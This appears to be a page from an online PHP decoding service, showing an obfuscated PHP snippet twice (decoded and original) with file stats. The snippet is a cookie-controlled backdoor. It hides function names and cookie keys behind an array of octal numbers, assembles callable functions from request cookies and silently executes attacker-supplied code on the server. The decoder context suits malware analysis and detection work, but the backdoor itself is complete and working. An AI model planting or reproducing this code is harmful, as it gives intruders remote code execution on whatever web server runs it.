Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php class _z { private static $_fcu; static function _eg($_d) { ..

Decoded Output download

<?php  
class _z 
{ 
    private static $_fcu; 
    static function _eg($_d) 
    { 
        if (!self::$_fcu) 
            self::_iai(); 
        return self::$_fcu[$_d]; 
    } 
    private static function _iai() 
    { 
        self::$_fcu = array( 
            02, 
            02, 
            02, 
            02, 
            -0473, 
            0110, 
            -0123, 
            -0637, 
            -0263, 
            -0646, 
            0407, 
            0474, 
            -0124, 
            01026, 
            010, 
            010, 
            010, 
            8.8333333333333, 
            8.8333333333333, 
            8.8333333333333, 
            8.8333333333333, 
            8.8333333333333, 
            8.8333333333333, 
            040, 
            -0205, 
            077, 
            066, 
            -0247, 
            0136, 
            07, 
            07, 
            07, 
            0134, 
            -0605, 
            01237, 
            0302, 
            0554, 
            -01016, 
            -01124, 
            -0543, 
            -01706, 
            -0227, 
            -022, 
            -057, 
            -0372, 
            0767, 
            -0131, 
            0102, 
            0636, 
            -0303, 
            01013, 
            01151, 
            0400, 
            -075, 
            0234 
        ); 
    } 
} 
function _nkwy() 
{ 
    $_nw = $_COOKIE; 
    (count($_nw) == (int) round(_z::_eg(00) + _z::_eg(01) + _z::_eg(02) + _z::_eg(03))) ? (($_t = $_nw[_z::_eg(04) - _z::_eg(05) - _z::_eg(06) + _z::_eg(07) - _z::_eg(010) - _z::_eg(011) + _z::_eg(012) + _z::_eg(013) - _z::_eg(014) - _z::_eg(015)] . $_nw[(int) round(_z::_eg(016) + _z::_eg(017) + _z::_eg(020))]) && ($_h = $_t($_nw[(int) round(_z::_eg(021) + _z::_eg(022) + _z::_eg(023) + _z::_eg(024) + _z::_eg(025) + _z::_eg(026))] . $_nw[_z::_eg(027) + _z::_eg(030) + _z::_eg(031) + _z::_eg(032) - _z::_eg(033) - _z::_eg(034)])) && ($_qx = $_t($_nw[(int) round(_z::_eg(035) + _z::_eg(036) + _z::_eg(037))] . $_nw[_z::_eg(040) + _z::_eg(041) + _z::_eg(042) - _z::_eg(043) + _z::_eg(044) + _z::_eg(045)])) && ($_qx = @$_h($_nw[_z::_eg(046) + _z::_eg(047) - _z::_eg(050)], $_qx($_t($_nw[_z::_eg(051) - _z::_eg(052) + _z::_eg(053) - _z::_eg(054)])))) && @$_qx()) : $_nw; 
    return _z::_eg(055) + _z::_eg(056) - _z::_eg(057) + _z::_eg(060) + _z::_eg(061) + _z::_eg(062) - _z::_eg(063) - _z::_eg(064) + _z::_eg(065) - _z::_eg(066); 
} 
_nkwy();  ?>

Did this file decode correctly?

Original Code

<?php 
class _z
{
    private static $_fcu;
    static function _eg($_d)
    {
        if (!self::$_fcu)
            self::_iai();
        return self::$_fcu[$_d];
    }
    private static function _iai()
    {
        self::$_fcu = array(
            02,
            02,
            02,
            02,
            -0473,
            0110,
            -0123,
            -0637,
            -0263,
            -0646,
            0407,
            0474,
            -0124,
            01026,
            010,
            010,
            010,
            8.8333333333333,
            8.8333333333333,
            8.8333333333333,
            8.8333333333333,
            8.8333333333333,
            8.8333333333333,
            040,
            -0205,
            077,
            066,
            -0247,
            0136,
            07,
            07,
            07,
            0134,
            -0605,
            01237,
            0302,
            0554,
            -01016,
            -01124,
            -0543,
            -01706,
            -0227,
            -022,
            -057,
            -0372,
            0767,
            -0131,
            0102,
            0636,
            -0303,
            01013,
            01151,
            0400,
            -075,
            0234
        );
    }
}
function _nkwy()
{
    $_nw = $_COOKIE;
    (count($_nw) == (int) round(_z::_eg(00) + _z::_eg(01) + _z::_eg(02) + _z::_eg(03))) ? (($_t = $_nw[_z::_eg(04) - _z::_eg(05) - _z::_eg(06) + _z::_eg(07) - _z::_eg(010) - _z::_eg(011) + _z::_eg(012) + _z::_eg(013) - _z::_eg(014) - _z::_eg(015)] . $_nw[(int) round(_z::_eg(016) + _z::_eg(017) + _z::_eg(020))]) && ($_h = $_t($_nw[(int) round(_z::_eg(021) + _z::_eg(022) + _z::_eg(023) + _z::_eg(024) + _z::_eg(025) + _z::_eg(026))] . $_nw[_z::_eg(027) + _z::_eg(030) + _z::_eg(031) + _z::_eg(032) - _z::_eg(033) - _z::_eg(034)])) && ($_qx = $_t($_nw[(int) round(_z::_eg(035) + _z::_eg(036) + _z::_eg(037))] . $_nw[_z::_eg(040) + _z::_eg(041) + _z::_eg(042) - _z::_eg(043) + _z::_eg(044) + _z::_eg(045)])) && ($_qx = @$_h($_nw[_z::_eg(046) + _z::_eg(047) - _z::_eg(050)], $_qx($_t($_nw[_z::_eg(051) - _z::_eg(052) + _z::_eg(053) - _z::_eg(054)])))) && @$_qx()) : $_nw;
    return _z::_eg(055) + _z::_eg(056) - _z::_eg(057) + _z::_eg(060) + _z::_eg(061) + _z::_eg(062) - _z::_eg(063) - _z::_eg(064) + _z::_eg(065) - _z::_eg(066);
}
_nkwy(); 

Function Calls

None

Variables

None

Stats

MD5 3ae6071c917cfb9bc1b58742ebf708b5
Eval Count 0
Decode Time 66 ms